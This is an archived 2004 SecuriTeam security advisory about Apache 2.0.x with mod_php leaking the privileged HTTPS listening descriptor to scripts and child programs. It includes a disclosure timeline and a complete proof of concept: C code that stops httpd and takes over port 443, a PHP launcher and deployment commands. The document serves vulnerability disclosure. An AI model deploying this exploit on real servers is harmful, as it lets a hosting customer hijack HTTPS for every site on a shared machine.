[UNIX] Hijacking Apache HTTPS by Utilizing mod_php

From: SecuriTeam (support_at_securiteam.com)
Date: 01/05/04

  • Next message: SecuriTeam: "[UNIX] pServ Directory Traversal Vulnerability"
    To: list@securiteam.com
    Date: 5 Jan 2004 16:45:13 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Hijacking Apache HTTPS by Utilizing mod_php
    ------------------------------------------------------------------------

    SUMMARY

    Mod_php under Apache version 2.0.x leaks a critical file descriptor that
    can be used to takeover (hijack) the HTTPS service.

    DETAILS

    Introduction:
    Because Apache httpd and mod_php are inter-related, Steve does not know if
    you would consider this an Apache bug or a mod_php bug. Steve has
    contacted each group and they both blame each other. Personally, Steve
    does not care whose fault it is so long as it is fixed.

    Technical Details:
    When using mod_php, many file descriptors are leaked to the PHP script
    process. If the script page calls external programs by passthru(), exec(),
    or system(), the descriptors are leaked to that program as well.

    One of these descriptors is the listening descriptor to port 443, also
    known as https. Port 443 is a privileged port and can only be bound to by
    a root process. It is not normal for that descriptor to be leaked to any
    or all programs. As a side note, this descriptor seems to be opened by
    apache regardless of whether or not you use https.

    The bug is caused by not making a call to fcntl with the CLOEXEC flag to
    prevent the leak of a privileged file descriptor.

    Impact:
    The listening descriptor is used by all sites on the same machine. If a
    person can ftp in an executable and has access to PHP, they may be able to
    hijack the https service for all sites on the machine. Sandboxing and
    jailing may not help since the descriptor itself is leaked to the child.

    "Safe_mode = on" does not offer any protection for this problem if
    safe_mode_exec_dir points to a directory that can be FTP'd to.

    Solution:
    There is no vendor provided solution. Steve filed
    <http://bugs.php.net/bug.php?id=20302>
    http://bugs.php.net/bug.php?id=20302 on Nov 7, 2002.

    Steve also contacted the apache project in August 2002 about this same
    problem. In October 2002, Steve re-contacted them about leaked
    descriptors, they confirmed the problem. Feb 2003 the leaked file
    descriptors were reported by Steve to vuln-dev mail list. The bug was
    partially fixed in apache 2.0.45. The mod_php vector however is still
    unfixed.

    To see if you are vulnerable, you can use the env_audit program. It comes
    with directions for testing mod_php in the examples directory
    <http://www.web-insights.net/env_audit>
    http://www.web-insights.net/env_audit.

    Exploit:
    The technique is simple.

    1) Fork and daemonize yourself.
    2) Select on the leaked descriptor and start serving pages.

    At the end of this advisory is a proof-of-concept program that you can run
    under mod_php. It is assumed that paying customers can ftp anything they
    want into their website and mod_php scripting is enabled.

    To see the problem first hand, compile the C code:
    gcc -o leak-sploit leak-sploit.c -lssl
    cp leak-sploit /var/www/html
    cp install.php /var/www/html
    cp foo-cert.pem /var/www/html
    lynx http://localhost/install.php

    Now, ps -ef to see how things are going:
    root 18176 1 6 15:58 ? 00:00:01 /usr/sbin/httpd
    apache 18180 18176 0 15:58 ? 00:00:00 /usr/sbin/httpd
    apache 18181 18176 0 15:58 ? 00:00:00 /usr/sbin/httpd
    apache 18182 18176 0 15:58 ? 00:00:00 /usr/sbin/httpd
    apache 18183 18176 0 15:58 ? 00:00:00 /usr/sbin/httpd
    apache 18184 18176 0 15:58 ? 00:00:00 /usr/sbin/httpd
    apache 18191 1 0 15:58 ? 00:00:00 /var/www/html/leak-sploit

    So far, so good...
    lynx https://localhost

    Now you should see the "You're owned" message.

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <signal.h>
    #include <errno.h>
    #include <sys/select.h>
    #include <netinet/in.h>
    #include <openssl/ssl.h>

    /*
     * The basic actions are like this:
     * 1) Become session leader
     * 2) Get rid of the parent (apache)
     * 3) Start handling requests
     */

    #define LISTEN_DESCRIPTOR 4
    #define CERTF "/var/www/html/foo-cert.pem"
    #define KEYF "/var/www/html/foo-cert.pem"

    static SSL_CTX *ctx;

    static SSL *ssl;
    static X509 *client_cert;
    static SSL_METHOD *meth;

    static void server_loop(int descr);
    static void ssl_init(void);

    int main(int argc, char *argv[])
    {
        /* Need to fork so apache doesn't kill us */
        if (fork() == 0) {
           /* Become session leader */

            setsid();

            sleep(2);

            /* just in case one was a controlling tty */

            close(0); close(1); close(2);

            ssl_init();

            server_loop(LISTEN_DESCRIPTOR);

        }
        else
        {
            sleep(1);
            system("/usr/sbin/httpd -k stop");
            sleep(1);
        }
        return 0;
    }

    static void server_loop(int descr)
    {
        struct timeval tv;
        fd_set read_mask ;

        FD_ZERO(&read_mask);
        FD_SET(descr, &read_mask);
        for (;;) {
            struct sockaddr_in remote;
            socklen_t len = sizeof(remote);
            int fd;

            if (select(descr+1, &read_mask, NULL, NULL, 0 ) == -1)
                continue;
            fd = accept(descr, &remote, &len);
            if (fd >=0) {
                char obuf[1024];
                if ((ssl = SSL_new (ctx)) != NULL) {
                    SSL_set_fd (ssl, fd);
                    SSL_set_accept_state(ssl);
                    if ((SSL_accept (ssl)) == -1)
                            exit(1);

                    strcpy(obuf, "HTTP/1.0 200 OK\n");
                    strcat(obuf, "Content-Length: 40\n");
                    strcat(obuf, "Content-Type: text/html\n\n");
                    strcat(obuf, "< html>< body>You're owned!</body></html>");
                    SSL_write (ssl, obuf, strlen(obuf));
                    SSL_set_shutdown(ssl,
                            SSL_SENT_SHUTDOWN|SSL_RECEIVED_SHUTDOWN);
                    SSL_free (ssl);
                    ERR_remove_state(0);
                }
                close(fd);
            }
        }
        SSL_CTX_free (ctx); /* Never gets called */
    }

    static void ssl_init(void)
    {
            SSL_load_error_strings();
            SSLeay_add_ssl_algorithms();
            meth = SSLv23_server_method();
            ctx = SSL_CTX_new (meth); if (!ctx)
                    exit(1);
            if (SSL_CTX_use_certificate_file(ctx, CERTF,
                            SSL_FILETYPE_PEM) <= 0)
                    exit(1);
            if (SSL_CTX_use_PrivateKey_file(ctx, KEYF,
                            SSL_FILETYPE_PEM) <= 0)
                    exit(1);
            if (!SSL_CTX_check_private_key(ctx))
                    exit(1);
    }

    install.php:
    < html>< head>
    < title>leak-sploit for PHP 4.3</title>
    </head>
    < body>
        <?php
            print('Installing exploit.<br>');
            passthru("/var/www/html/leak-sploit");
        ?>
    </body></html>

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:linux_4ever@yahoo.com> Steve
    Grubb.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] pServ Directory Traversal Vulnerability"

    Relevant Pages